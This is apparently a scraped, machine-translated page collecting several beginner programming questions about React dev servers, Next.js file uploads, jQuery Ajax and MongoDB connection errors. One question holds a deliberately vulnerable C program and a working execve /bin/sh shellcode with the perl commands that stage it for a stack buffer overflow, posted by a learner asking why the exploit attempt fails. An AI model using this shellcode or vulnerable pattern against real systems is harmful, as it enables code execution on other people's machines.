首先,我知道这个问题的表述很糟糕。由于我是初学者,我想不出任何可以描述这种情况的东西。所以当我们在 cmd 上输入时npx create-react-app myapp,这会设置反应项目。然后我们可以做npm start,我们可以在localhost:3000. 我想知道为什么会这样。React 应用程序在客户端,为什么它需要服务器?接下来,我想设置一个node js服务器,它是否需要使用与react app相同的端口?我的胆子说不。简而言之,我想知道为什么localhost:3000在客户端使用 react 。提前致谢
我制作了 ac 易受攻击的 C 代码并试图利用它,但即使我复制了其他示例,它似乎也不起作用。如果我包含了很多代码,我深表歉意。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void hello(char *name){
char name_buffer[24];
strcpy(name_buffer, name);
printf("Hello %s\n", name_buffer);
}
int main(int argc, char **argv){
hello(argv[1]);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
这是我执行时显示的内容
perl -e 'print "\x5a\xe9\xff\xff\xff\x7f\x00\x00" x 40' | ./a.out
Segmentation fault (core dumped)
Run Code Online (Sandbox Code Playgroud)
输入中的地址是环境变量SHELLCODE的地址
cat shellcode
1?1??Sh/ttyh/dev??1?f?'??1?Ph//shh/bin??PS??
//shellcode is "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" printed and piped using perl
export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode)
Run Code Online (Sandbox Code Playgroud)
当我在 gdb 中运行程序时:
run $(perl -e 'print "\x5a\xe9\xff\xff\xff\x7f\x01\x02" x 30')
// I added "\x01\x02" because if I just …Run Code Online (Sandbox Code Playgroud) 我正在使用 nextjs,我想上传一个文件,所以我使用 next-connect 来使用 multer
import nc from "next-connect";
import multer from "multer";
export const config = {
api: {
bodyParser: false,
},
}
const upload = multer({ dest: `${__dirname}../../public` });
const handler = nc()
.use(upload.single('image'))
.post(async (req, res)=>{
console.log(req.body); // undefined
console.log(req.file); // undefined
res.status(200).send("yo");
})
export default handler;
Run Code Online (Sandbox Code Playgroud)
这是客户端代码:
function handleOnSubmit(e){
e.preventDefault();
const data = {};
var formData = new FormData(e.target);
for (const [name,value] of formData) {
data[name] = value;
}
data.type = data.type[0].toUpperCase();
data.name = data.name[0].toUpperCase();
axios({ …Run Code Online (Sandbox Code Playgroud) 我正在做一个简单的项目来练习 node js 和 Jquery Ajax。所以我有一个 ajax post 请求,它向 nodejs 服务器发送一些数据并等待响应。在服务器端,我有一个代码来读取数据并用它做一些事情。这工作正常。但是,当我尝试将响应发送回 ajax 时,页面会发生变化,并以纯文本形式显示响应。我想要的是对 ajax 端的响应做一些事情。抱歉,如果我不清楚,但希望您在阅读代码时理解。
Jquery Ajax 代码:
$("submitBtn").on("click", e=>{
e.preventDefault();
$.ajax({
url: "/getCity",
type: "POST",
data: `city=${cityName}&country=${countryName}`,
success: function(data){
console.log(data);
}
});
});
Run Code Online (Sandbox Code Playgroud)
服务器端代码:
app.post("/getCity", (req, res)=>{
//a promise
.then(cityID=>{
res.status(200).send(cityID.toString());
});
});
Run Code Online (Sandbox Code Playgroud)
html代码:
<form method="post" action="/getCity">
<input/>
<input/>
<button id="submitBtn" type="submit">Search Weather</button>
</form>
Run Code Online (Sandbox Code Playgroud)
我包含了 html 代码,因为method="post" action="/getCity"即使发出 ajax post 请求,我也不知道是否需要放置。我希望你能帮我解决这个问题,如果可能的话,还有 html 的事情。先感谢您。注意:这个问题是我之前问过的另一个问题的再创造。我这样做是因为它被标记为重复,但之后它被另一个用户回答,只是在评论中,他要求这样做是为了将来让其他人从中受益。
我正在尝试使用 mongoose 执行与 mongodb 的连接,但它引发了错误。这是我的代码:
mongoose.connect("mongodb+srv://username:password@cluster0-bocic.mongodb.net/test?retryWrites=true", {useNewUrlParser: true})
.then(()=>console.log("Database connected..."))
.catch(err=>console.log(err));
Run Code Online (Sandbox Code Playgroud)
这是错误:
[0] { MongoNetworkError: failed to connect to server [cluster0-shard-00-01-bocic
.mongodb.net:27017] on first connect [MongoNetworkError: connection 5 to cluster
0-shard-00-01-bocic.mongodb.net:27017 closed]
[0] at Pool.<anonymous> (C:\Users\Med\Desktop\jutsuapp\myapp\node_modules\mo
ngodb-core\lib\topologies\server.js:431:11)
[0] at Pool.emit (events.js:182:13)
[0] at connect (C:\Users\Med\Desktop\jutsuapp\myapp\node_modules\mongodb-cor
e\lib\connection\pool.js:557:14)
[0] at callback (C:\Users\Med\Desktop\jutsuapp\myapp\node_modules\mongodb-co
re\lib\connection\connect.js:109:5)
[0] at runCommand (C:\Users\Med\Desktop\jutsuapp\myapp\node_modules\mongodb-
core\lib\connection\connect.js:129:7)
[0] at Connection.errorHandler (C:\Users\Med\Desktop\jutsuapp\myapp\node_mod
ules\mongodb-core\lib\connection\connect.js:321:5)
[0] at Object.onceWrapper (events.js:273:13)
[0] at Connection.emit (events.js:182:13)
[0] at TLSSocket.<anonymous> (C:\Users\Med\Desktop\jutsuapp\myapp\node_modul
es\mongodb-core\lib\connection\connection.js:350:12)
[0] at Object.onceWrapper (events.js:273:13)
[0] at …Run Code Online (Sandbox Code Playgroud) node.js ×3
ajax ×1
c ×1
client ×1
connection ×1
express ×1
gdb ×1
javascript ×1
jquery ×1
middleware ×1
mongodb ×1
mongoose ×1
multer ×1
next-connect ×1
next.js ×1
perl ×1
reactjs ×1
server ×1